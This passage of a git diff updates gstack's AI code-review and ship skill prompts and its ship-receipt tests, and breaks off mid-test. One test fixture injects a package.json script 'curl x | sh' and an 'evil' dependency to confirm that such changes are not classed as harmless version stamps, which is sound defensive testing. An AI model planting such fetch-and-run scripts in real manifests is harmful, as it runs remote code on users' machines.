- Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue"
|
||||
@@ -203,14 +222,14 @@ Core findings never earn a specialist confidence boost. Preserve \`advisory\`,
|
||||
|
||||
Core findings keep the core Confidence Calibration gates.
|
||||
|
||||
#### 5. Score and present specialists
|
||||
#### 6. Score and present specialists
|
||||
|
||||
Only specialist findings enter this header and \`quality_score\`; core findings do not.
|
||||
Use the merged NON-advisory specialist findings for both counts and score;
|
||||
the header's N is X + Y, so advisory findings never add to it:
|
||||
\`quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))\`
|
||||
Cap at 10 and retain for ${persistRef}. These are not final unresolved-defect totals.
|
||||
Print only this block: the stage 6 activity object and \`test_stub\` bodies are log and Fix-First data.
|
||||
Print only this block: the stage 7 activity object and \`test_stub\` bodies are log and Fix-First data.
|
||||
Validated \`"advisory": true\` findings from any source are excluded from score,
|
||||
header, unresolved-defect totals and clean-status blockers. Show them separately;
|
||||
they remain ASK-only, never auto-applied. Real defects follow normal Fix-First.
|
||||
@@ -237,7 +256,7 @@ PR Quality Score: X/10
|
||||
|
||||
Core shared-code savings never enter this footer; explain any overlap once in the core proposal.
|
||||
|
||||
#### 6. Save specialist activity
|
||||
#### 7. Save specialist activity
|
||||
|
||||
Compile a \`specialists\` object for ${persistRef}.
|
||||
${isShip ? 'For each specialist' : 'For DIFF_LINES < 50, keep `specialists: {}`; do not manufacture per-specialist scope records. Otherwise record each considered specialist'} (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team):
|
||||
@@ -251,7 +270,7 @@ Advisory findings COUNT in the stats \`findings\` field, not its defect counts.
|
||||
Include Design despite its different checklist. Preserve dispatch/failure status:
|
||||
zero returned findings from a failed attempt is not a clean review.
|
||||
|
||||
#### 7. Hand off to Fix-First
|
||||
#### 8. Hand off to Fix-First
|
||||
|
||||
Send these findings to ${fixFirstRef} alongside ${critPassRef}.
|
||||
Consolidate equivalent shared-code advice under the core proposal, retaining all
|
||||
@@ -284,7 +303,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli
|
||||
don't cover."
|
||||
|
||||
Tag Red Team findings \`"specialist":"red-team"\`.
|
||||
Add them to the original specialist outputs and rerun stages 1–7 of Step ${stepMerge}
|
||||
Add them to the original specialist outputs and rerun stages 1–8 of Step ${stepMerge}
|
||||
before ${fixFirstRef}; do not boost or count the earlier findings twice.
|
||||
|
||||
If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found."
|
||||
|
||||
@@ -204,12 +204,15 @@ per-lane counts (`{"<lane>":{"pass":N,"fail":N,"skip":N}}`) to
|
||||
`.gstack/tmp/ship-gate.json` with your file-write tool, then:
|
||||
|
||||
```bash
|
||||
~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json
|
||||
rm -f .gstack/tmp/review-loop.json
|
||||
~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json &&
|
||||
~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr <pr-number> --base <base> --gate @.gstack/tmp/ship-gate.json --pregate .gstack/tmp/pregate.json --issues @.gstack/tmp/issues.json --review-loop @.gstack/tmp/review-loop.json --body "$PR_BODY_FILE"
|
||||
```
|
||||
|
||||
The summary reads this branch's review log for the invocation's passes (its
|
||||
`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries).
|
||||
`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). The `&&`
|
||||
matters: a summary that refuses (no pass matched `REVIEW_SINCE`) must not let `write`
|
||||
record a stale or empty loop file.
|
||||
|
||||
Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead).
|
||||
New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body.
|
||||
|
||||
@@ -187,12 +187,15 @@ per-lane counts (`{"<lane>":{"pass":N,"fail":N,"skip":N}}`) to
|
||||
`.gstack/tmp/ship-gate.json` with your file-write tool, then:
|
||||
|
||||
```bash
|
||||
~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json
|
||||
rm -f .gstack/tmp/review-loop.json
|
||||
~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json &&
|
||||
~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr <pr-number> --base <base> --gate @.gstack/tmp/ship-gate.json --pregate .gstack/tmp/pregate.json --issues @.gstack/tmp/issues.json --review-loop @.gstack/tmp/review-loop.json --body "$PR_BODY_FILE"
|
||||
```
|
||||
|
||||
The summary reads this branch's review log for the invocation's passes (its
|
||||
`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries).
|
||||
`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). The `&&`
|
||||
matters: a summary that refuses (no pass matched `REVIEW_SINCE`) must not let `write`
|
||||
record a stale or empty loop file.
|
||||
|
||||
Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead).
|
||||
New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body.
|
||||
|
||||
@@ -13,10 +13,12 @@ Steps 10–11 queue findings without editing; include those findings in this pas
|
||||
Every repeat starts before the checklist read and captures a fresh REVIEW_START.
|
||||
Finish the complete review and QA before applying any fix in Step 9.4.
|
||||
|
||||
**Pass 2+ reads the range, not the tree** (`review_scope frozen`): wherever this
|
||||
step or its dispatched prompts run `DIFF_BASE=$(git merge-base origin/<base> HEAD)`,
|
||||
use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the
|
||||
previous pass. `NO FINDINGS` is the expected result for a clean range. Under
|
||||
**Pass 2+ reads the range, not the tree** (`review_scope frozen`): the core read
|
||||
in item 2 becomes `git diff $RANGE_BASE`, and wherever this step or its dispatched
|
||||
prompts run `DIFF_BASE=$(git merge-base origin/<base> HEAD)`, use `DIFF_BASE=$RANGE_BASE`
|
||||
instead, so every reviewer reads what changed since the previous pass. The gate
|
||||
scan (2.5) and the QA probes keep the whole candidate: they are tools, not
|
||||
reviewers. `NO FINDINGS` is the expected result for a clean range. Under
|
||||
`review_scope all`, every pass reads the full diff.
|
||||
|
||||
## Confidence Calibration
|
||||
@@ -80,7 +82,7 @@ This pass is static; defer product probes to Step 9.2.1.
|
||||
|
||||
1. Read `~/.claude/skills/gstack/review/checklist.md`. If the file cannot be read, **STOP** and report the error.
|
||||
|
||||
2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/<base>`. Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them.
|
||||
2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/<base>` (`git diff $RANGE_BASE` from pass 2 on). Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them.
|
||||
|
||||
Every pass captures a full token (no `--fix-range`), so the record binds the
|
||||
whole tree even when reviewers read only the range.
|
||||
@@ -373,8 +375,9 @@ Every other specialist, including Testing, reads the full diff with fixtures.
|
||||
{\"severity\":\"CRITICAL|INFORMATIONAL\",\"confidence\":N,\"path\":\"file\",\"line\":N,\"category\":\"category\",\"summary\":\"description\",\"fix\":\"recommended fix\",\"fingerprint\":\"path:line:category\",\"specialist\":\"name\"}
|
||||
|
||||
Required fields: severity, confidence, path, category, summary, specialist.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.
|
||||
CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL.
|
||||
A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as `path` and names the changed line in `cause`: {\"cause\":{\"path\":\"file\",\"line\":N}}. Without it the finding reads as pre-existing code.
|
||||
|
||||
Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it.
|
||||
|
||||
@@ -438,7 +441,25 @@ the highest confidence and all source names. Confirmation by distinct specialist
|
||||
Core findings never earn a specialist confidence boost. Preserve `advisory`,
|
||||
`evidence_paths` and `helper_target` through every merge.
|
||||
|
||||
#### 4. Apply specialist confidence gates
|
||||
#### 4. Lead judgment
|
||||
|
||||
Reviewers fill the space they are given. Before any merged finding counts, the
|
||||
parent reads each one and drops or downgrades it on these grounds, saying so:
|
||||
- **Nit gravity.** When a reviewer's whole return is style, naming and preference,
|
||||
the code is probably fine; write that down and count nothing from it as a defect.
|
||||
- **Hypothetical, not actual.** A defect names the call site or input that reaches
|
||||
it. One that does not is a note until someone traces it.
|
||||
- **Structure for a case that does not exist.** Advice to abstract, generalize or
|
||||
guard a path nothing takes is advisory, never a defect.
|
||||
- **A different design is not a defect.** "I would have done it differently" with
|
||||
no failing case behind it is dropped.
|
||||
- **Missing context.** A finding that assumes a rule the repository documents
|
||||
otherwise is dropped with the pointer.
|
||||
Agreement between reviewers that did not see each other's output is the strongest
|
||||
signal; the `MULTI-SPECIALIST CONFIRMED` boost above records it. A reviewer that
|
||||
returned `NO FINDINGS` was right until a traced defect says otherwise.
|
||||
|
||||
#### 5. Apply specialist confidence gates
|
||||
|
||||
- Confidence 7+: show normally in the findings output
|
||||
- Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue"
|
||||
@@ -447,14 +468,14 @@ Core findings never earn a specialist confidence boost. Preserve `advisory`,
|
||||
|
||||
Core findings keep the core Confidence Calibration gates.
|
||||
|
||||
#### 5. Score and present specialists
|
||||
#### 6. Score and present specialists
|
||||
|
||||
Only specialist findings enter this header and `quality_score`; core findings do not.
|
||||
Use the merged NON-advisory specialist findings for both counts and score;
|
||||
the header's N is X + Y, so advisory findings never add to it:
|
||||
`quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))`
|
||||
Cap at 10 and retain for the review-log persist. These are not final unresolved-defect totals.
|
||||
Print only this block: the stage 6 activity object and `test_stub` bodies are log and Fix-First data.
|
||||
Print only this block: the stage 7 activity object and `test_stub` bodies are log and Fix-First data.
|
||||
Validated `"advisory": true` findings from any source are excluded from score,
|
||||
header, unresolved-defect totals and clean-status blockers. Show them separately;
|
||||
they remain ASK-only, never auto-applied. Real defects follow normal Fix-First.
|
||||
@@ -481,7 +502,7 @@ PR Quality Score: X/10
|
||||
|
||||
Core shared-code savings never enter this footer; explain any overlap once in the core proposal.
|
||||
|
||||
#### 6. Save specialist activity
|
||||
#### 7. Save specialist activity
|
||||
|
||||
Compile a `specialists` object for the review-log persist.
|
||||
For each specialist (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team):
|
||||
@@ -495,7 +516,7 @@ Advisory findings COUNT in the stats `findings` field, not its defect counts.
|
||||
Include Design despite its different checklist. Preserve dispatch/failure status:
|
||||
zero returned findings from a failed attempt is not a clean review.
|
||||
|
||||
#### 7. Hand off to Fix-First
|
||||
#### 8. Hand off to Fix-First
|
||||
|
||||
Send these findings to Step 9.3 dedup, then Step 9.4 Fix-First alongside the checklist pass (Step 9).
|
||||
Consolidate equivalent shared-code advice under the core proposal, retaining all
|
||||
@@ -525,7 +546,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli
|
||||
don't cover."
|
||||
|
||||
Tag Red Team findings `"specialist":"red-team"`.
|
||||
Add them to the original specialist outputs and rerun stages 1–7 of Step 9.2
|
||||
Add them to the original specialist outputs and rerun stages 1–8 of Step 9.2
|
||||
before Step 9.3 dedup, then Step 9.4 Fix-First; do not boost or count the earlier findings twice.
|
||||
|
||||
If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found."
|
||||
@@ -634,6 +655,11 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
|
||||
triggers a pass. Under `diff-plus-blocking` a blocking finding in unchanged
|
||||
code is `fix`, never `defer`; under `all` everything is `fix`. Save the `REVIEW_SCOPE:` line.
|
||||
A `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE` refusal is a STOP until repaired.
|
||||
Three words cover every finding: a **blocker** is the intended case gone wrong
|
||||
(at or above the floor: fixed on every pass, or named to the owner at the cap);
|
||||
a **should** is a real bug a caller will hit, in the intended case (fixed when it
|
||||
is in the diff on pass 1, deferred when it is not); a **nit** is the rest (a named
|
||||
note, never a pass).
|
||||
|
||||
1. **Classify only unmatched or reopened findings as AUTO-FIX or ASK** when the
|
||||
classified output marks them `scope: fix`, per the Fix-First Heuristic in
|
||||
@@ -668,7 +694,8 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
|
||||
`~/.claude/skills/gstack/bin/gstack-review-scope defer --findings <classified> --pr <pr-number> --out <deferred.json>`
|
||||
(omit `--pr` before a PR exists). It files one issue per `scope: defer` finding,
|
||||
reusing an open issue that carries the finding's marker, and prints `DEFERRED:`
|
||||
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it.
|
||||
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it,
|
||||
and the command still exits 0: the PR body carries the reason.
|
||||
Then `gstack-review-scope render --deferred <deferred.json> --findings <classified>`
|
||||
prints the `## Deferred findings` and `## Review notes` sections: save them for
|
||||
Step 19's PR body. Deferred and noted findings are never edited.
|
||||
@@ -746,9 +773,12 @@ Apply these decisions in order:
|
||||
here too, unfixed. Name each blocking finding (path, severity, problem) for the
|
||||
owner. Deferred and noted items are never recurring findings, so a capped pass
|
||||
whose remaining findings are all below the floor applies no edits and continues
|
||||
at decision 4: the loop ships below the floor.
|
||||
at decision 4: the loop ships below the floor. The cap is a stop, not an
|
||||
approval: a blocker it leaves standing is reported, never waved through.
|
||||
3. **Fixes applied below the cap:** Insert Step 5, affected Steps 6–8 and all of
|
||||
Step 9 before the pending Step 10 in the work list. Tests must pass or retain approval for the same verified pre-existing
|
||||
Step 9 before the pending Step 10 in the work list. If the fixes grew the diff
|
||||
past what the request needs (a helper, a guard, a case nothing takes), cut that
|
||||
growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing
|
||||
failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry.
|
||||
4. **No edits in this pass:** Resolve the required-probe gate below. Only after it
|
||||
clears may you continue to Step 10. A pass whose only findings were deferred or
|
||||
|
||||
@@ -11,10 +11,12 @@ Steps 10–11 queue findings without editing; include those findings in this pas
|
||||
Every repeat starts before the checklist read and captures a fresh REVIEW_START.
|
||||
Finish the complete review and QA before applying any fix in Step 9.4.
|
||||
|
||||
**Pass 2+ reads the range, not the tree** (`review_scope frozen`): wherever this
|
||||
step or its dispatched prompts run `DIFF_BASE=$(git merge-base origin/<base> HEAD)`,
|
||||
use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the
|
||||
previous pass. `NO FINDINGS` is the expected result for a clean range. Under
|
||||
**Pass 2+ reads the range, not the tree** (`review_scope frozen`): the core read
|
||||
in item 2 becomes `git diff $RANGE_BASE`, and wherever this step or its dispatched
|
||||
prompts run `DIFF_BASE=$(git merge-base origin/<base> HEAD)`, use `DIFF_BASE=$RANGE_BASE`
|
||||
instead, so every reviewer reads what changed since the previous pass. The gate
|
||||
scan (2.5) and the QA probes keep the whole candidate: they are tools, not
|
||||
reviewers. `NO FINDINGS` is the expected result for a clean range. Under
|
||||
`review_scope all`, every pass reads the full diff.
|
||||
|
||||
{{CONFIDENCE_CALIBRATION}}
|
||||
@@ -25,7 +27,7 @@ This pass is static; defer product probes to Step 9.2.1.
|
||||
|
||||
1. Read `~/.claude/skills/gstack/review/checklist.md`. If the file cannot be read, **STOP** and report the error.
|
||||
|
||||
2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/<base>`. Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them.
|
||||
2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/<base>` (`git diff $RANGE_BASE` from pass 2 on). Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them.
|
||||
|
||||
Every pass captures a full token (no `--fix-range`), so the record binds the
|
||||
whole tree even when reviewers read only the range.
|
||||
@@ -80,6 +82,11 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
|
||||
triggers a pass. Under `diff-plus-blocking` a blocking finding in unchanged
|
||||
code is `fix`, never `defer`; under `all` everything is `fix`. Save the `REVIEW_SCOPE:` line.
|
||||
A `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE` refusal is a STOP until repaired.
|
||||
Three words cover every finding: a **blocker** is the intended case gone wrong
|
||||
(at or above the floor: fixed on every pass, or named to the owner at the cap);
|
||||
a **should** is a real bug a caller will hit, in the intended case (fixed when it
|
||||
is in the diff on pass 1, deferred when it is not); a **nit** is the rest (a named
|
||||
note, never a pass).
|
||||
|
||||
1. **Classify only unmatched or reopened findings as AUTO-FIX or ASK** when the
|
||||
classified output marks them `scope: fix`, per the Fix-First Heuristic in
|
||||
@@ -114,7 +121,8 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
|
||||
`~/.claude/skills/gstack/bin/gstack-review-scope defer --findings <classified> --pr <pr-number> --out <deferred.json>`
|
||||
(omit `--pr` before a PR exists). It files one issue per `scope: defer` finding,
|
||||
reusing an open issue that carries the finding's marker, and prints `DEFERRED:`
|
||||
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it.
|
||||
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it,
|
||||
and the command still exits 0: the PR body carries the reason.
|
||||
Then `gstack-review-scope render --deferred <deferred.json> --findings <classified>`
|
||||
prints the `## Deferred findings` and `## Review notes` sections: save them for
|
||||
Step 19's PR body. Deferred and noted findings are never edited.
|
||||
@@ -192,9 +200,12 @@ Apply these decisions in order:
|
||||
here too, unfixed. Name each blocking finding (path, severity, problem) for the
|
||||
owner. Deferred and noted items are never recurring findings, so a capped pass
|
||||
whose remaining findings are all below the floor applies no edits and continues
|
||||
at decision 4: the loop ships below the floor.
|
||||
at decision 4: the loop ships below the floor. The cap is a stop, not an
|
||||
approval: a blocker it leaves standing is reported, never waved through.
|
||||
3. **Fixes applied below the cap:** Insert Step 5, affected Steps 6–8 and all of
|
||||
Step 9 before the pending Step 10 in the work list. Tests must pass or retain approval for the same verified pre-existing
|
||||
Step 9 before the pending Step 10 in the work list. If the fixes grew the diff
|
||||
past what the request needs (a helper, a guard, a case nothing takes), cut that
|
||||
growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing
|
||||
failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry.
|
||||
4. **No edits in this pass:** Resolve the required-probe gate below. Only after it
|
||||
clears may you continue to Step 10. A pass whose only findings were deferred or
|
||||
|
||||
+5
-5
@@ -37,7 +37,7 @@
|
||||
"cursor/gstack-plan-design-review": 138936,
|
||||
"cursor/gstack-plan-devex-review": 134559,
|
||||
"cursor/gstack-plan-eng-review": 151428,
|
||||
"cursor/gstack-review": 140924,
|
||||
"cursor/gstack-review": 142320,
|
||||
"factory/gstack-autoplan": 131530,
|
||||
"factory/gstack-codex": 100623,
|
||||
"factory/gstack-design-consultation": 108638,
|
||||
@@ -47,7 +47,7 @@
|
||||
"factory/gstack-plan-design-review": 141717,
|
||||
"factory/gstack-plan-devex-review": 137928,
|
||||
"factory/gstack-plan-eng-review": 154542,
|
||||
"factory/gstack-review": 144703,
|
||||
"factory/gstack-review": 146099,
|
||||
"gbrain/gstack-autoplan": 129783,
|
||||
"gbrain/gstack-design-review": 132810,
|
||||
"gbrain/gstack-land-and-deploy": 117135,
|
||||
@@ -67,7 +67,7 @@
|
||||
"kiro/gstack-plan-design-review": 138776,
|
||||
"kiro/gstack-plan-devex-review": 134399,
|
||||
"kiro/gstack-plan-eng-review": 151278,
|
||||
"kiro/gstack-review": 140736,
|
||||
"kiro/gstack-review": 142132,
|
||||
"openclaw/gstack-autoplan": 129488,
|
||||
"openclaw/gstack-design-review": 131615,
|
||||
"openclaw/gstack-land-and-deploy": 116725,
|
||||
@@ -82,7 +82,7 @@
|
||||
"opencode/gstack-plan-design-review": 140706,
|
||||
"opencode/gstack-plan-devex-review": 136780,
|
||||
"opencode/gstack-plan-eng-review": 153180,
|
||||
"opencode/gstack-review": 143159,
|
||||
"opencode/gstack-review": 144555,
|
||||
"slate/gstack-autoplan": 129127,
|
||||
"slate/gstack-design-consultation": 107111,
|
||||
"slate/gstack-design-review": 142382,
|
||||
@@ -90,6 +90,6 @@
|
||||
"slate/gstack-plan-design-review": 138856,
|
||||
"slate/gstack-plan-devex-review": 134479,
|
||||
"slate/gstack-plan-eng-review": 151353,
|
||||
"slate/gstack-review": 140830
|
||||
"slate/gstack-review": 142226
|
||||
}
|
||||
}
|
||||
@@ -9,7 +9,7 @@ import * as fs from 'node:fs';
|
||||
import * as os from 'node:os';
|
||||
import * as path from 'node:path';
|
||||
import { EXIT } from '../lib/headless-artifacts';
|
||||
import { bindReceipt, computeCensus, extractReceipt, placeReceiptFirst, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt';
|
||||
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt';
|
||||
import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';
|
||||
|
||||
const repos: FixtureRepo[] = [];
|
||||
@@ -51,17 +51,6 @@ describe('gstack-ship-receipt write', () => {
|
||||
expect(Object.keys(parsed.receipt!)).toEqual(['schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd', 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history']);
|
||||
expect(parsed.receipt).toMatchObject({ schema_version: 1, pr: 42, head, version: '1.2.4.0', base: 'main', tree: 'same-modulo-stamps', spend_usd: 0.42, ci: { checks: { pass: 3 } } });
|
||||
expect(parsed.receipt!.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/);
|
||||
const loopFile = path.join(repo.root, 'review-loop.json');
|
||||
fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }));
|
||||
const loopBody = path.join(repo.root, 'body-loop.md');
|
||||
fs.writeFileSync(loopBody, '## Summary\n');
|
||||
const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,
|
||||
'--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',
|
||||
'--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',
|
||||
'--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]);
|
||||
expect(withLoop.status).toBe(EXIT.ok);
|
||||
expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1');
|
||||
expect(extractReceipt(withLoop.out).receipt).toMatchObject({ review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } });
|
||||
const written = fs.readFileSync(body, 'utf8');
|
||||
expect(written.startsWith('```gstack-ship-receipt\n{\n "schema_version": 1,\n "pr": 42,\n "head": "' + head + '"')).toBe(true);
|
||||
expect(written).toContain('\n```\n\n## Summary\n\nProse that a truncated message may lose.\n');
|
||||
@@ -393,6 +382,283 @@ describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a hea
|
||||
expect(other.status).toBe(EXIT.refused);
|
||||
expect(other.err).toContain('the receipt names pr=8, not this PR');
|
||||
});
|
||||
|
||||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||||
// Value: protects=a release-metadata-only change (VERSION, CHANGELOG, lockfile, the policy's stamp_paths and release_outputs)
|
||||
// carries with reason "release metadata" and every path classed metadata, so a stamp never sends a Captain back through a full
|
||||
// /ship; fails_when=the metadata globs or the policy-derived extras stop excluding those paths from the product patch-id, or
|
||||
// classifyCarryPath/planCarry mislabel them; why_new=the existing carry tests cover base merges and test-only fixes, never the
|
||||
// metadata class or the policy extras; seam=none; no_claim=none beyond protects
|
||||
test('a release-metadata-only change (stamp files, CHANGELOG, policy stamp_paths and release_outputs) carries as "release metadata"; the classifier and the plan name every class', () => {
|
||||
expect(classifyCarryPath('src/app.ts')).toBe('product');
|
||||
expect(classifyCarryPath('docs/notes.md')).toBe('product');
|
||||
expect(classifyCarryPath('docs/notes.md', { metadata: ['docs/**/*.md'] })).toBe('metadata');
|
||||
expect(classifyCarryPath('test/app.test.ts')).toBe('test');
|
||||
expect(classifyCarryPath('src/__tests__/app.ts')).toBe('test');
|
||||
expect(classifyCarryPath('pkg/thing_test.go')).toBe('test');
|
||||
expect(classifyCarryPath('CHANGELOG.md')).toBe('metadata');
|
||||
// a lockfile is a dependency manifest: product unless the policy names it; a .spec.yaml is an API contract, not a test
|
||||
expect(classifyCarryPath('bun.lock')).toBe('product');
|
||||
expect(classifyCarryPath('package-lock.json')).toBe('product');
|
||||
expect(classifyCarryPath('bun.lock', { metadata: ['bun.lock'] })).toBe('metadata');
|
||||
expect(classifyCarryPath('api/openapi.spec.yaml')).toBe('product');
|
||||
expect(classifyCarryPath('src/app.spec.ts')).toBe('test');
|
||||
expect(classifyCarryPath('agents-digest/gstack-AGENTS.md')).toBe('metadata');
|
||||
expect(classifyCarryPath('test/fixtures/VERSION')).toBe('test');
|
||||
// package.json and VERSION are metadata only while the change is a version stamp and nothing else
|
||||
const pkg = (v: string, extra = '') => `{\n "name": "fx",\n "version": "${v}",\n "dependencies": { "left-pad": "1.0.0"${extra} }\n}\n`;
|
||||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4') })).toBe('metadata');
|
||||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4', ', "evil": "9.9.9"') })).toBe('product');
|
||||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.3').replace('"dependencies"', '"scripts": { "test": "curl x | sh" }, "dependencies"') })).toBe('product');
|
||||
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata');
|
||||
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product');
|
||||
expect(classifyCarryPath('package.json')).toBe('metadata');
|
||||
const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' };
|
||||
const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] });
|
||||
expect(meta.ok && meta.carry.reason).toBe('release metadata');
|
||||
expect(meta.ok && meta.carry.changed_paths).toEqual(['metadata:VERSION', 'metadata:CHANGELOG.md']);
|
||||
const merges = planCarry({ ...base, mergeCommits: 2, changed: [{ path: 'src/other.ts', class: 'product' }] });
|
||||
expect(merges.ok && merges.carry.reason).toBe('2 base merges');
|
||||
const reverted = planCarry({ ...base, changed: [{ path: 'src/other.ts', class: 'product' }] });
|
||||
expect(reverted.ok && reverted.carry.reason).toBe('no product change');
|
||||
const empty = planCarry({ ...base, changed: [] });
|
||||
expect(empty.ok && [empty.carry.reason, empty.carry.product_patch_id]).toEqual(['no content change', 'p']);
|
||||
expect(planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }).ok && (planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }) as any).carry.product_patch_id).toBe('none');
|
||||
const changed = planCarry({ ...base, productPatchId: { from: 'p', head: 'q' }, mergeCommits: 1, changed: [], changedProduct: Array.from({ length: 22 }, (_, i) => `src/f${i}.ts`) });
|
||||
expect(changed.ok).toBe(false);
|
||||
expect(!changed.ok && changed.code).toBe('RECEIPT_CARRY_PRODUCT_CHANGED');
|
||||
expect(!changed.ok && changed.message).toContain('src/f0.ts, src/f1.ts');
|
||||
expect(!changed.ok && changed.message).toContain('src/f19.ts (+2 more)');
|
||||
expect(!changed.ok && changed.message).not.toContain('src/f20.ts');
|
||||
|
||||
const repo = fixture();
|
||||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
|
||||
repo.git('commit', '-qam', 'feat: a=2');
|
||||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||||
// the stamp: VERSION, package.json (version only), the CHANGELOG, a stamp_paths doc and a release_outputs file
|
||||
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
|
||||
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"'));
|
||||
